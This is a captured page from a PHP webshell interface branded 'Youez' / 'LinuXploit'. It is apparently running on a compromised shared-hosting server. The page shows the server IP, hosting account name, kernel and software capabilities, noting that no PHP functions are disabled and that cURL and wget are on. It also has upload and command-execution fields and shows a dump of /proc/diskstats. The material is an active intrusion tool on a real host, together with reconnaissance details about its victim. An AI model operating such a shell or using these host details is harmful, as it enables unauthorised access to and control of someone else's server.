403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0
   8      16 sdb 131853891 2630754055 22110248302 400286476 1229519006 486467614 13727893032 1008971120 0 332624044 1409093188
   8       0 sda 78888515 97806 7429869310 20468016 206670788 576402086 20773434208 374551192 0 19598224 394974524
   8       1 sda1 2422 468 156512 768 9830 58802 549680 2000 0 1508 2764
   8       2 sda2 78883972 97338 7429569638 20466976 206658098 576343284 20772861648 374549076 0 19596648 394917964
 253       0 dm-0 361967754 0 2895744905 600228940 213836414 0 1710691312 401689528 0 60807320 1002559912
 253       1 dm-1 33150 0 4205442 54152 106752 0 9181424 24596 0 20300 78768
 253       3 dm-3 436 0 8474 144 240949 0 1930232 20176 0 4064 20324
 253       2 dm-2 331577376 0 2652621881 414587432 27301343 0 218410744 43409968 0 32168796 458097192
 253       4 dm-4 306539 0 27192242 161520 110994 0 1493944 66420 0 254036 367096
 253       5 dm-5 72038719 0 576312625 143549844 9629829 0 77038632 18513172 0 21211220 162083232
 253       7 dm-7 91377465 0 731022593 240185932 22797917 0 182383336 59120584 0 20879004 299422928
 253       6 dm-6 94834 0 15662298 52616 13296219 0 132525976 1335904 0 119208 1389032
 253       8 dm-8 1084050571 0 8672407441 1636001236 1152226496 0 9217811968 4169013816 0 148593504 1536083236
 253       9 dm-9 5226122 0 442096224 10156676 77874241 0 1070964488 335063396 0 2250216 345375776
 253      10 dm-10 821937856 0 6575505721 1331289156 290194630 0 2321557040 853579160 0 92693240 2185671432
 253      11 dm-11 2956656 0 128048754 791908 3320435 0 33031160 6614600 0 587024 7426456
 253      12 dm-12 313530 0 42364130 38788 27976787 0 276516304 22734496 0 160780 22781124
 253      13 dm-13 69643485 0 6761939018 8034196 645563618 0 19247218120 75096704 0 16307288 83188788
 148       0 mars/infong1335 0 0 0 1018424600 0 0 0 589318656 4253698481 2348606080 2629985256
 148       1 mars/infong1301 0 0 0 1047183324 0 0 0 1580917584 4262781785 2349481620 3076382156
 148       2 mars/infong527 0 0 0 3787752748 0 0 0 1004519612 4050343679 2350875420 3883281544
 148       3 mars/infong524 0 0 0 1076776508 0 0 0 3571970048 4168106904 2348644600 792076240
 148       4 mars/infongp-us66 0 0 0 1876579672 0 0 0 2781514808 3918676329 2352840216 947196576
 148       5 mars/infong1565 0 0 0 4025220140 0 0 0 2907175204 3536037952 2356267248 1793036208

Youez - 2016 - github.com/yon3zu
LinuXploit